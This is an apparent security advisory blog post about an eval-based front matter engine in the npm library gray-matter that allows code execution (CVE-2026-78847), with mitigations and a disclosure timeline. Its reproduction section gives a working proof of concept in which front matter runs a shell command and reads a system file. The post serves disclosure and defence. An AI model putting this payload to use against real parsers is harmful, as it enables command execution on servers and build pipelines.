An eval() engine enabled by default: code execution in gray-matter front matter (CVE-2026-78847)

Checo 9/14/26 About 4 min Security

CVE, security research, Node.js, gray-matter, code injection

gray-matter is the most widely used front matter parser in the npm ecosystem, with 6.8 million weekly downloads. Inside `lib/engines.js` it registers a JavaScript engine implemented with `eval()`. If a Markdown document starts with `---js` or `---javascript`, whatever sits between the delimiters is executed as JavaScript — and the caller does not have to configure anything for that to happen.

Reach

Metric	Value
npm weekly downloads (2026-09-05 to 09-11)	6,813,663
npm monthly downloads	33,721,408
Latest version	4.0.3 (published 2023-07-12)
Repository	`jonschlinkert/gray-matter`, 4,490 stars, last push 2025-06-14

More telling than the download numbers is the downstream record: md-to-pdf received two CVEs for this (CVE-2021-23639, CVE-2025-65108) and tinacms received one (CVE-2025-68278). The exploitation path is repeatedly hit in real projects; only the library that contains the root cause had no identifier of its own — which is where CVE-2026-78847 comes from.

How the engine gets selected

`lib/engines.js` registers three engines by default, and the JavaScript one is among them:

```js
engines.yaml = {
  parse: yaml.safeLoad.bind(yaml),
  stringify: yaml.safeDump.bind(yaml)
};

engines.json = {
  parse: JSON.parse.bind(JSON),
  ...
};

engines.javascript = {
  parse: function parse(str, options, wrap) {
    /* eslint no-eval: 0 */
    try {
      if (wrap !== false) {
        str = '(function() {\nreturn ' + str.trim() + ';\n}());';
      }
      return eval(str) || {};
    } catch (err) {
      ...
    }
  },
  ...
};
```

During parsing, the text that follows the opening delimiter is treated as the language name, and that name picks the engine:

```js
// index.js:85-89
const language = matter.language(str, opts);
if (language.name) {
  file.language = language.name;      // ← whatever the document says, wins

```

```
  str = str.slice(language.raw.length);
}

// index.js:109
file.data = parse(file.language, file.matter, opts);
```

And `matter.language()` just returns the trimmed text before the first newline — no allowlist, no denylist:

```js
// index.js:205-218
matter.language = function(str, options) {
  const opts = defaults(options);
  const open = opts.delimiters[0];

  if (matter.test(str)) {
    str = str.slice(open.length);
  }

  const language = str.slice(0, str.search(/\r?\n/));
  return {
    raw: language,
    name: language ? language.trim() : ''
  };
};
```

The "multi-language front matter" feature therefore becomes, when parsing untrusted input, "the document picks which engine parses it".

Reproducing it

Install 4.0.3 in a clean directory:

```bash
mkdir gm-poc && cd gm-poc
npm init -y && npm i gray-matter@4.0.3
```

The PoC:

```js
const matter = require('gray-matter');

const input = [
  '---js',
  '({rce:
require("child_process").execSync("id").toString().trim(),',
  ' leaked:
require("fs").readFileSync("/etc/hosts","utf8").split("\n")[0]})',
  '---',
  'body text'
].join('\n');

const r = matter(input);
console.log('data.rce    =', r.data.rce);
console.log('data.leaked =', r.data.leaked);
console.log('content     =', JSON.stringify(r.content));
```

Verified output (macOS + Node 22):

```text
data.rce    = uid=501(checo) gid=20(staff)
groups=20(staff),12(everyone),61(localaccounts),...
data.leaked = ##
content     = "body text"
```

Arbitrary command execution and arbitrary file reads both work. The `---java-script` spelling works too, and reading environment variables (`Object.keys(process.env)`) is equally available. No options were passed by the caller: the only precondition is that user-controllable text reaches `matter()`.

The counterintuitive part: the language option does not help

The first instinct is to pass `{ language: 'yaml' }` and be done. It does not work:

```js
matter(evil, { language: 'yaml' });
// => { pwned: 'checo' }   ← still executed
```

The option is written to `file.language` first and then overwritten by the language name found in the document:

```js
// index.js:63-64  ← option applied first
if (opts.language) {
  file.language = opts.language;
}

// index.js:86-89  ← then overwritten by the document
if (language.name) {
  file.language = language.name;
}
```

Stubbing the engine makes the override directly observable:

```js
matter3.engines.javascript = { parse: (s) => ({ saw: s.trim() }),
stringify: () => '' };
matter3('---js\nMALICIOUS_PAYLOAD\n---\nx', { language: 'yaml' });
// => { saw: 'MALICIOUS_PAYLOAD' } , with file.language === 'js'
```

In other words: **the control point sits in the parsed content, not with the caller.** Any defence of the form "I already specified the parsing language" is void under this design.

Mitigations

1. Override the built-in JavaScript engine (verified working)

```js
const matter = require('gray-matter');

// Run once before any matter() call, e.g. inside your own wrapper
module
matter.engines.javascript = {
  parse: () => ({}),
  stringify: () => ''
};
```

After the override the same malicious input yields `{"blocked":true}` and no code runs.

2. Switch to the maintained fork

The 11ty-maintained `@11ty/gray-matter` v2 drops the `javascript` front matter type entirely; `engines.javascript.parse` now throws:

```text
Error: Parsing JavaScript in front matter is no longer supported internally in
`@11ty/gray-matter`. Support is added upstream in `@11ty/eleventy`.
```

That fork also upgrades js-yaml to v4, and has been adopted by Eleventy and Docusaurus.

3. Avoid it architecturally

- Parse only content you generate yourself (your own build-time Markdown); never hand third-party documents to `matter()` wholesale.
- For user submissions, comments, and PR content, take the body only — do not parse front matter at all.
- If untrusted input must be parsed, do it in a least-privilege context (no network, read-only filesystem, separate container) so an RCE lands in an empty shell.

Disclosure timeline

Date	Event
2020-08-24	issue #112, "Use of eval is strongly discouraged", opened publicly
2021-09-28	issue #131 opened, noting downstream RCEs
2026-03-10	PR #182 proposes removing the engine, with a PoC (still unmerged)
2026-06-08	Independently reproduced and confirmed here (gray-matter 4.0.3)

Date	Event
2026-06-26	CVE ID requested
2026-09-11	CVE-2026-78847 assigned by MITRE
2026-09-14	This write-up published; the record is still Reserved and will be queryable on cve.org ↗ once published

To be clear: this engine was not first discovered here — PR #182 had been sitting with a PoC for months and upstream never acted. What this write-up contributes is an independent reproduction, verified mitigations, and pushing for the *library itself* to receive an identifier instead of each downstream consumer getting its own: downstream CVEs only ever treat the symptom.

Takeaway

Registering an `eval()` engine as a default capability in a parsing library hands code execution to every document the library parses. Download counts and stars tell you nothing about whether a parser is safe; only two questions matter: **which syntaxes it supports by default, and who gets to choose among them.**

References

- gray-matter repository ↗
- PR #182: Remove RCE-vulnerable JavaScript engine (CWE-94) ↗
- issue #131: disable JS engine by default to prevent RCEs in dependents ↗
- issue #112: Use of eval is strongly discouraged ↗
- CVE-2025-65108 (md-to-pdf) ↗
- CVE-2025-68278 (tinacms) ↗
- CVE-2021-23639 (md-to-pdf) ↗
- @11ty/gray-matter (maintained fork with the JS engine removed) ↗

Last Updated: 9/14/26, 8:29 AM
Contributors: sergioperezcheco

Copyright © 2026 Checo